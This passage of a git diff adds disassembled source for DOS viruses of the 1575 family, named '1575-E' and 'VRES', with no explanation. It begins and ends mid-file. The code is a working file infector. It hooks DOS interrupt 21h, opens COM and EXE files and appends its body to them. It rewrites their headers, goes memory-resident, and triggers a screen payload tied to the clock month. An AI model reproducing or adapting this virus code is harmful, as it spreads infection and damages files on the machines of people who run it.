proc near + push ax + push ds + pop ax + mov cs:data_35,ax + mov cs:data_34,dx + pop ax + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + push cs + mov al,0 + out 20h,al ; port 20h, 8259-1 int command + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_40,bx + mov bx,es + mov data_39,bx + pop es + mov si,offset data_43 + mov di,offset data_44 ; ('A:MIO.COM') + mov cx,0Fh + +locloop_35: + lodsb ; String [si] to al + add al,20h ; ' ' + stosb ; Store al to es:[di] + loop locloop_35 ; Loop if cx > 0 + + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + push ax + push cs + pop ds + push cs + pop es + mov bl,data_41 + cmp bl,0Ch + ja loc_37 ; Jump if above + cmp bl,0 + je loc_37 ; Jump if equal + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + cmp al,0Ch + ja loc_37 ; Jump if above + cmp al,0 + je loc_37 ; Jump if equal + cmp al,bl + je loc_37 ; Jump if equal + inc bl + call sub_15 + cmp al,bl + je loc_37 ; Jump if equal + inc bl + call sub_15 + cmp al,bl + je loc_37 ; Jump if equal + pop ds + call sub_17 + push cs + pop ds + retn + +; External Entry into Subroutine + +sub_15: + cmp bl,0Ch + jbe loc_ret_36 ; Jump if below or = + sub bl,0Ch + +loc_ret_36: + retn +loc_37: + pop ax + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + mov dx,offset int_24h_entry + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + cmp byte ptr data_53,43h ; 'C' + jne loc_38 ; Jump if not equal + call sub_4 + jmp short loc_39 + db 90h +loc_38: + call sub_5 +loc_39: + push ds + mov dx,data_40 + mov ax,data_39 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +sub_16 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov al,3 + iret ; Interrupt return +int_24h_entry endp + + +; +; SUBROUTINE +; + +sub_17 proc near +;* mov dx,offset loc_47 ;* + db 0BAh,0B0h, 06h + mov ax,251Ch + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov byte ptr ds:data_56e,90h + nop + mov ax,0B800h + mov es,ax + mov di,data_55e + mov ax,720h + mov cx,0Bh + repne stosw ; Rep zf=0+cx >0 Store ax to es:[di] + push cs + pop es + retn +sub_17 endp + + db 0, 0 +data_48 db 0 +data_49 dw 720h +data_50 db 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 08h,0FEh, 0Eh +data_51 db 0EEh + db 0Ch +data_52 db 90h + db 0FBh, 50h, 51h, 52h, 53h, 55h + db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh + db 0EBh, 0Bh, 90h +loc_40: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + iret ; Interrupt return + db 0B8h, 00h,0B8h, 8Eh,0C0h + db 0BFh,0A0h, 0Fh + db 0BEh, 9Ah, 06h,0B9h, 16h, 00h + db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h + db 0EEh, 74h, 08h,0C6h, 06h,0AEh + db 06h,0EEh,0EBh, 06h, 90h +loc_42: + mov data_51,0F0h +loc_43: + mov ax,es:[di] + mov ah,0Eh + mov data_49,ax + mov data_48,0 + jmp short loc_40 + db 0BFh, 00h, 00h +loc_44: + mov si,offset data_50 + push di + mov cx,12h + cld ; Clear direction + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + jz loc_45 ; Jump if zero + inc di + inc di + cmp di,0FA0h + jne loc_44 ; Jump if not equal + mov di,0 +loc_45: + cmp di,0F9Eh + jne loc_ret_46 ; Jump if not equal + mov data_52,0CFh + +loc_ret_46: + retn +data_53 db 43h + db 0Ch, 0Ah, 45h, 00h,0CBh, 87h + db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah + db 83h, 00h,0CBh, 87h,0E8h + db 2Eh + +seg_a ends + + + + end start diff --git a/0-9/1575-e.asm b/0-9/1575-e.asm new file mode 100755 index 0000000..76d3a1f --- /dev/null +++ b/0-9/1575-e.asm @@ -0,0 +1,983 @@ + +PAGE 59,132 + +; +; +; 1575-E +; +; Created: 23-May-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 6 +data_2e equ 84h +data_3e equ 86h +data_4e equ 100h +data_10e equ 31Fh +data_12e equ 0 ;* +data_13e equ 3 ;* +data_14e equ 12h ;* +data_15e equ 0 +data_55e equ 0FA0h +data_56e equ 6B0h +data_57e equ 725h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1575-e proc far + +start: + jmp short loc_4 + db 90h +data_17 dw 0B2Bh, 103Eh +data_19 dw 0FF53h +data_20 dw 0F000h +data_21 db 0B4h + db 2 +data_22 dw 2AB2h +data_23 dw 21CDh + db 0CDh, 20h +data_24 dw 0E5h + db 3Dh, 02h,0FFh,0FFh +data_25 dw 50Fh +data_26 dw 100h + db 26h,0D9h +data_27 dw 100h +data_28 dw 50Fh +data_29 dw 480h +data_30 dw 0 +data_31 dw 0 +data_32 dw 53F0h +data_33 dw 5 +data_34 dw 648Ch +data_35 dw 789Fh +data_36 dw 480h +data_37 dw 0BD1h +data_38 dw 1213h +data_39 dw 0EA2h +data_40 dw 5BFh +data_41 db 4Dh +data_42 db 31h + db 68h, 7Dh, 02h,0FBh, 07h + db 70h, 00h + +loc_ret_2: + retn + db 0E2h, 00h + db 0F0h,0FBh, 07h, 70h, 00h +loc_4: + push es + push ds + mov ax,es + push cs + pop ds + push cs + pop es + mov data_38,ax + mov ax,ss + mov data_33,ax + std ; Set direction flag + mov ax,7076h + cld ; Clear direction + xor ax,ax ; Zero register + mov ds,ax + xor si,si ; Zero register + mov di,offset data_42 + mov cx,10h + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push ds + pop ss + mov bp,8 + xchg bp,sp + call sub_2 + jmp loc_27 +loc_5: + call sub_13 + call sub_3 + jz loc_6 ; Jump if zero + mov al,data_53 + push ax + call sub_4 + pop ax + mov data_53,al + jmp short loc_7 + db 90h +loc_6: + call sub_6 + call sub_7 + cmp byte ptr data_53,0 + jne loc_7 ; Jump if not equal + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_7: + cmp byte ptr data_53,43h ; 'C' + jne loc_10 ; Jump if not equal +loc_8: + pop ds + pop es + push cs + pop ds + pop es + push es + mov di,data_4e + mov si,offset data_21 + mov cx,0Ch + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push es + pop ds + mov ax,100h + push ax + xor ax,ax ; Zero register + retf ; Return far + +1575-e endp + +; +; SUBROUTINE +; + +sub_2 proc near + mov si,data_1e + lodsw ; String [si] to ax + cmp ax,192h + je loc_8 ; Jump if equal + cmp ax,179h + jne loc_9 ; Jump if not equal + jmp loc_12 +loc_9: + cmp ax,1DCh + je loc_10 ; Jump if equal + retn +loc_10: + pop ds + pop es + mov bx,cs:data_25 + sub bx,cs:data_36 + mov ax,cs + sub ax,bx + mov ss,ax + mov bp,cs:data_37 + xchg bp,sp + mov bx,cs:data_28 + sub bx,cs:data_29 + mov ax,cs + sub ax,bx + push ax + mov ax,cs:data_30 + push ax + retf ; Return far +data_43 db 23h + db 1Ah + db '<#/--!.$' + db 0Eh, 23h, 2Fh, 2Dh,0E0h +data_44 db 'A:MIO.COM', 0 + db 58h, 45h, 00h, 00h, 00h + db 24h, 24h, 24h, 24h, 24h + +; External Entry into Subroutine + +sub_3: + mov ax,3D02h + mov dx,offset data_44 ; ('A:MIO.COM') + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_11 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_11: + mov data_33,ax + mov dx,offset int_24h_entry + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4202h + mov bx,data_33 + mov cx,0FFFFh + mov dx,0FFFEh + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,offset data_45 + mov ah,3Fh ; '?' + mov bx,data_33 + mov cx,2 + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push ds + mov dx,data_40 + mov ax,data_39 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + cmp data_45,0A0Ch + clc ; Clear carry flag + retn +data_45 dw 20CDh +loc_12: + cmp ax,22Dh + je loc_13 ; Jump if equal + push ds + pop es + push cs + pop ds + mov ax,data_33 + mov ss,ax + xchg bp,sp + mov si,offset data_42 + mov di,data_15e + mov cx,10h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + jmp loc_5 +sub_2 endp + + +; +; SUBROUTINE +; + +sub_4 proc near +loc_13: + mov al,43h ; 'C' + mov data_53,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_41,al + mov dx,offset data_44 ; ('A:MIO.COM') + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_14 ; Jump if carry=0 + retn +loc_14: + mov data_33,ax + mov dx,offset data_21 + mov bx,data_33 + mov cx,0Ch + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + push ax + add ax,10h + and ax,0FFF0h + push ax + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + mov di,data_10e + stosw ; Store ax to es:[di] + pop ax + pop bx + sub ax,bx + mov cx,627h + add cx,ax + mov dx,100h + sub dx,ax + mov bx,data_33 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,40h ; '@' + mov bx,data_33 + mov cx,0Ch + mov dx,offset data_46 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + mov bx,data_33 + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_4 endp + +data_46 db 0Eh + db 8Ch,0C8h, 05h, 01h, 00h, 50h + db 0B8h, 00h, 01h, 50h,0CBh + +; +; SUBROUTINE +; + +sub_5 proc near + mov al,45h ; 'E' + mov data_53,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_41,al + mov dx,offset data_44 ; ('A:MIO.COM') + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_15 ; Jump if carry=0 + retn +loc_15: + mov data_33,ax + mov dx,offset data_21 + mov bx,data_33 + mov cx,18h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + push ax + add ax,10h + adc dx,0 + and ax,0FFF0h + mov data_31,dx + mov data_32,ax + mov cx,727h + sub cx,100h + add ax,cx + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + inc ax + mov data_23,ax + mov data_22,dx + mov ax,data_28 + mov data_29,ax + mov ax,data_27 + mov data_30,ax + mov ax,data_25 + mov data_36,ax + mov ax,data_26 + mov data_37,ax + mov dx,data_31 + mov ax,data_32 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,10h + sub ax,data_24 + mov data_28,ax + mov data_25,ax + mov data_27,100h + mov data_26,100h + mov ax,4200h + xor cx,cx ; Zero register + mov dx,2 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,offset data_22 + mov bx,data_33 + mov cx,16h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,100h + mov ax,data_32 + pop cx + sub ax,cx + sub dx,ax + mov cx,727h + add cx,ax + sub cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_5 endp + + push cx + mov cx,0 + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + pop cx + retn + +; +; SUBROUTINE +; + +sub_6 proc near + push es + mov ax,351Ch + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_19,bx + mov cs:data_20,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + pop ax + mov word ptr cs:data_17+2,ax + mov cs:data_17,bx + pop es + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push es + push ds + xor ax,ax ; Zero register + mov es,ax + mov si,data_3e + mov ax,es:[si] + mov ds,ax + mov si,data_57e + cmp word ptr [si],0A0Ch + jne loc_16 ; Jump if not equal + push ds + pop ax + call sub_14 + pop ds + pop es + pop ax + retn +loc_16: + push cs + pop ds + mov ax,data_38 + dec ax + mov es,ax + cmp byte ptr es:data_12e,5Ah ; 'Z' + nop ;*ASM fixup - sign extn byte + je loc_17 ; Jump if equal + jmp short loc_18 + db 90h +loc_17: + mov ax,es:data_13e + mov cx,737h + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + sub ax,cx + jc loc_18 ; Jump if carry Set + mov es:data_13e,ax + sub es:data_14e,cx + push cs + pop ds + mov ax,es:data_14e + push ax + pop es + mov si,100h + push si + pop di + mov cx,627h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push es + sub ax,ax + mov es,ax + mov si,data_2e + mov dx,4A8h + mov es:[si],dx + inc si + inc si + pop ax + mov es:[si],ax +loc_18: + pop ds + pop es + pop ax + retn +sub_7 endp + + cmp al,57h ; 'W' + jne loc_19 ; Jump if not equal + jmp short loc_22 + db 90h +loc_19: + cmp ah,1Ah + jne loc_20 ; Jump if not equal + call sub_12 + jmp short loc_22 + db 90h +loc_20: + cmp ah,11h + jne loc_21 ; Jump if not equal + call sub_8 + iret ; Interrupt return +loc_21: + cmp ah,12h + jne loc_22 ; Jump if not equal + call sub_11 + iret ; Interrupt return +loc_22: + jmp dword ptr cs:data_17 + +; +; SUBROUTINE +; + +sub_8 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov byte ptr cs:data_47,0 + nop + call sub_9 + jnz loc_23 ; Jump if not zero + call sub_3 + jz loc_23 ; Jump if zero + call sub_16 + dec data_47 +loc_23: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push cs + pop es + push cs + pop es + cld ; Clear direction + call sub_10 + jnc loc_24 ; Jump if carry=0 + cmp di,0 + retn +loc_24: + mov di,offset data_44 ; ('A:MIO.COM') + mov al,2Eh ; '.' + mov cx,0Bh + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp word ptr [di],4F43h + jne loc_25 ; Jump if not equal + cmp byte ptr [di+2],4Dh ; 'M' + jne loc_25 ; Jump if not equal + mov byte ptr data_53,43h ; 'C' + nop + retn +loc_25: + cmp word ptr [di],5845h + jne loc_ret_26 ; Jump if not equal + cmp byte ptr [di+2],45h ; 'E' + jne loc_ret_26 ; Jump if not equal + mov byte ptr data_53,45h ; 'E' + nop + +loc_ret_26: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near +loc_27: + push ds + mov si,cs:data_34 + mov ax,cs:data_35 + mov ds,ax + mov di,offset data_44 ; ('A:MIO.COM') + lodsb ; String [si] to al + cmp al,0FFh + jne loc_28 ; Jump if not equal + add si,6 + lodsb ; String [si] to al + jmp short loc_29 + db 90h +loc_28: + cmp al,5 + jb loc_29 ; Jump if below + pop ds + stc ; Set carry flag + retn +loc_29: + mov cx,0Bh + cmp al,0 + je locloop_30 ; Jump if equal + add al,40h ; '@' + stosb ; Store al to es:[di] + mov al,3Ah ; ':' + stosb ; Store al to es:[di] + +locloop_30: + lodsb ; String [si] to al + cmp al,20h ; ' ' + je loc_31 ; Jump if equal + stosb ; Store al to es:[di] + jmp short loc_32 + db 90h +loc_31: + cmp byte ptr es:[di-1],2Eh ; '.' + je loc_32 ; Jump if equal + mov al,2Eh ; '.' + stosb ; Store al to es:[di] +loc_32: + loop locloop_30 ; Loop if cx > 0 + + mov al,0 + stosb ; Store al to es:[di] + pop ds + clc ; Clear carry flag + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + cmp byte ptr cs:data_47,0 + je loc_33 ; Jump if equal + jmp short loc_34 + db 90h +loc_33: + call sub_9 + jnz loc_34 ; Jump if not zero + call sub_3 + jz loc_34 ; Jump if zero + call sub_16 + dec data_47 + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +loc_34: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_11 endp + +data_47 db 0 + +; +; SUBROUTINE +; + +sub_12 proc near + push ax + push ds + pop ax + mov cs:data_35,ax + mov cs:data_34,dx + pop ax + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + push cs + mov al,0 + out 20h,al ; port 20h, 8259-1 int command + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_40,bx + mov bx,es + mov data_39,bx + pop es + mov si,offset data_43 + mov di,offset data_44 ; ('A:MIO.COM') + mov cx,0Fh + +locloop_35: + lodsb ; String [si] to al + add al,20h ; ' ' + stosb ; Store al to es:[di] + loop locloop_35 ; Loop if cx > 0 + + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + push ax + push cs + pop ds + push cs + pop es + mov bl,data_41 + cmp bl,0Ch + ja loc_37 ; Jump if above + cmp bl,0 + je loc_37 ; Jump if equal + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + cmp al,0Ch + ja loc_37 ; Jump if above + cmp al,0 + je loc_37 ; Jump if equal + cmp al,bl + je loc_37 ; Jump if equal + inc bl + call sub_15 + cmp al,bl + je loc_37 ; Jump if equal + inc bl + call sub_15 + cmp al,bl + je loc_37 ; Jump if equal + pop ds + call sub_17 + push cs + pop ds + retn + +; External Entry into Subroutine + +sub_15: + cmp bl,0Ch + jbe loc_ret_36 ; Jump if below or = + sub bl,0Ch + +loc_ret_36: + retn +loc_37: + pop ax + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + mov dx,offset int_24h_entry + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + cmp byte ptr data_53,43h ; 'C' + jne loc_38 ; Jump if not equal + call sub_4 + jmp short loc_39 + db 90h +loc_38: + call sub_5 +loc_39: + push ds + mov dx,data_40 + mov ax,data_39 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +sub_16 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov al,3 + iret ; Interrupt return +int_24h_entry endp + + +; +; SUBROUTINE +; + +sub_17 proc near +;* mov dx,offset loc_47 ;* + db 0BAh,0B0h, 06h + mov ax,251Ch + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov byte ptr ds:data_56e,90h + nop + mov ax,0B800h + mov es,ax + mov di,data_55e + mov ax,720h + mov cx,0Bh + repne stosw ; Rep zf=0+cx >0 Store ax to es:[di] + push cs + pop es + retn +sub_17 endp + + db 0, 0 +data_48 db 0 +data_49 dw 720h +data_50 db 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 08h,0FEh, 0Eh +data_51 db 0EEh + db 0Ch +data_52 db 90h + db 0FBh, 50h, 51h, 52h, 53h, 55h + db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh + db 0EBh, 0Bh, 90h +loc_40: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + iret ; Interrupt return + db 0B8h, 00h,0B8h, 8Eh,0C0h + db 0BFh,0A0h, 0Fh + db 0BEh, 9Ah, 06h,0B9h, 16h, 00h + db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h + db 0EEh, 74h, 08h,0C6h, 06h,0AEh + db 06h,0EEh,0EBh, 06h, 90h +loc_42: + mov data_51,0F0h +loc_43: + mov ax,es:[di] + mov ah,0Eh + mov data_49,ax + mov data_48,0 + jmp short loc_40 + db 0BFh, 00h, 00h +loc_44: + mov si,offset data_50 + push di + mov cx,12h + cld ; Clear direction + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + jz loc_45 ; Jump if zero + inc di + inc di + cmp di,0FA0h + jne loc_44 ; Jump if not equal + mov di,0 +loc_45: + cmp di,0F9Eh + jne loc_ret_46 ; Jump if not equal + mov data_52,0CFh + +loc_ret_46: + retn +data_53 db 43h + db 0Ch, 0Ah, 45h, 00h,0CBh, 87h + db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah + db 83h, 00h,0CBh, 87h,0E8h + db 2Eh + +seg_a ends + + + + end start diff --git a/0-9/1575.asm b/0-9/1575.asm new file mode 100755 index 0000000..7c94fa0 --- /dev/null +++ b/0-9/1575.asm @@ -0,0 +1,947 @@ + +PAGE 60,132 + +; +; +; VRES +; +; Created: 4-Jan-92 +; Passes: 5 Analysis Flags on: H +; +; + +data_1e equ 12Bh +data_2e equ 137h +data_3e equ 139h +data_4e equ 13Bh +data_5e equ 27Dh +data_6e equ 5CDh +data_7e equ 724h +data_8e equ 6B0h +data_9e equ 3 +data_10e equ 12h + +seg_a segment + assume cs:seg_a, ds:seg_a + + + org 100h + +vres proc far + +start: + push cs + mov ax,cs +data_11 dw 105h +data_12 dw 5000h +data_13 dw 0B8h +data_14 dw 5001h + db 0CBh, 0 +data_15 dw 0 +data_16 dw 0EB00h + db 4Ah, 90h +data_17 dw 1460h + db 74h, 2, 53h, 0FFh +data_18 dw 0F000h +data_19 dw 3B8h + db 0, 0CDh +data_20 dw 0CD10h +data_21 dw 20h +data_22 dw 20h +data_23 dw 11h +data_24 dw 0FFFFh +data_25 dw 4 +data_26 dw 100h +data_27 dw 674Fh +data_28 dw 100h +data_29 dw 4 +data_30 dw 0 +data_31 dw 0 +data_32 dw 0 +data_33 dw 340h +data_34 db 5 + db 0, 8Ah, 43h, 0B7h, 9Ah, 14h + db 0, 0, 1, 71h, 0Dh, 8Eh + db 0Ch, 56h, 5, 1, 0EAh, 56h + db 74h, 2, 5Ch, 7, 70h, 0 +loc_1: + push ss + add al,al + or bx,[si+7] + jo loc_2 ; Jump if overflow=1 +loc_2: + push es + push ds + mov ax,es + push cs + pop ds + push cs + pop es + mov data_31,ax + mov ax,ss + mov data_26,ax + mov al,2 + out 20h,al ; port 20h, 8259-1 int command + cld ; Clear direction + xor ax,ax ; Zero register + mov ds,ax + xor si,si ; Zero register + mov di,13Ch + mov cx,10h + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push ds + pop ss + mov bp,8 + xchg bp,sp + call sub_1 ; (01D5) + jmp loc_24 ; (0552) +loc_3: + call sub_12 ; (05EC) + call sub_2 ; (023D) + jz loc_4 ; Jump if zero + mov al,ds:data_7e + push ax + call sub_3 ; (02AE) + pop ax + mov ds:data_7e,al + jmp short loc_5 ; (01B4) + db 90h +loc_4: + call sub_5 ; (041B) + call sub_6 ; (043D) + cmp byte ptr ds:data_7e,0 + jne loc_5 ; Jump if not equal + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_5: + cmp byte ptr ds:data_7e,43h ; 'C' + jne loc_8 ; Jump if not equal +loc_6: + pop ds + pop es + push cs + pop ds + pop es + push es + mov di,100h + mov si,10Bh + mov cx,0Ch + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push es + pop ds + mov ax,100h + push ax + xor ax,ax ; Zero register + retf ; Return far + +vres endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov si,6 + lodsw ; String [si] to ax + cmp ax,192h + je loc_6 ; Jump if equal + cmp ax,179h + jne loc_7 ; Jump if not equal + jmp loc_10 ; (028F) +loc_7: + cmp ax,1DCh + je loc_8 ; Jump if equal + retn +loc_8: + pop ds + pop es + mov bx,cs:data_18 + sub bx,cs:data_29 + mov ax,cs + sub ax,bx + mov ss,ax + mov bp,cs:data_30 + xchg bp,sp + mov bx,cs:data_21 + sub bx,cs:data_22 + mov ax,cs + sub ax,bx + push ax + mov ax,cs:data_23 + push ax + retf ; Return far + db 23h, 1Ah + db '<#/--!.$' + db 0Eh, 23h, 2Fh, 2Dh, 0E0h + db 'D:VRES.COM' + db 0, 58h, 45h, 0, 0 + db 24h, 24h, 24h, 24h, 24h + +; External Entry into Subroutine + +sub_2: + mov ax,3D02h + mov dx,219h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_9 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_9: + mov ds:data_1e,ax + mov dx,673h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4202h + mov bx,ds:data_1e + mov cx,0FFFFh + mov dx,0FFFEh + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,27Dh + mov ah,3Fh ; '?' + mov bx,ds:data_1e + mov cx,2 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push ds + mov dx,ds:data_3e + mov ax,ds:data_2e + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + cmp word ptr ds:data_5e,0A0Ch + clc ; Clear carry flag + retn + db 0CDh, 20h +loc_10: + cmp ax,22Dh + je loc_11 ; Jump if equal + push ds + pop es + push cs + pop ds + mov ax,data_26 + mov ss,ax + xchg bp,sp + mov si,13Ch + mov di,0 + mov cx,10h + cld ; Clear direction + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + jmp loc_3 ; (018C) +sub_1 endp + + +; +; SUBROUTINE +; + +sub_3 proc near +loc_11: + mov al,43h ; 'C' + mov ds:data_7e,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov ds:data_4e,al + mov dx,219h + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_12 ; Jump if carry=0 + retn +loc_12: + mov ds:data_1e,ax + mov dx,10Bh + mov bx,ds:data_1e + mov cx,0Ch + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + push ax + add ax,10h + and ax,0FFF0h + push ax + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + mov di,31Fh + stosw ; Store ax to es:[di] + pop ax + pop bx + sub ax,bx + mov cx,627h + add cx,ax + mov dx,100h + sub dx,ax + mov bx,ds:data_1e + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov bx,ds:data_1e + mov cx,0Ch + mov dx,31Bh + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + mov bx,ds:data_1e + int 21h ; DOS Services 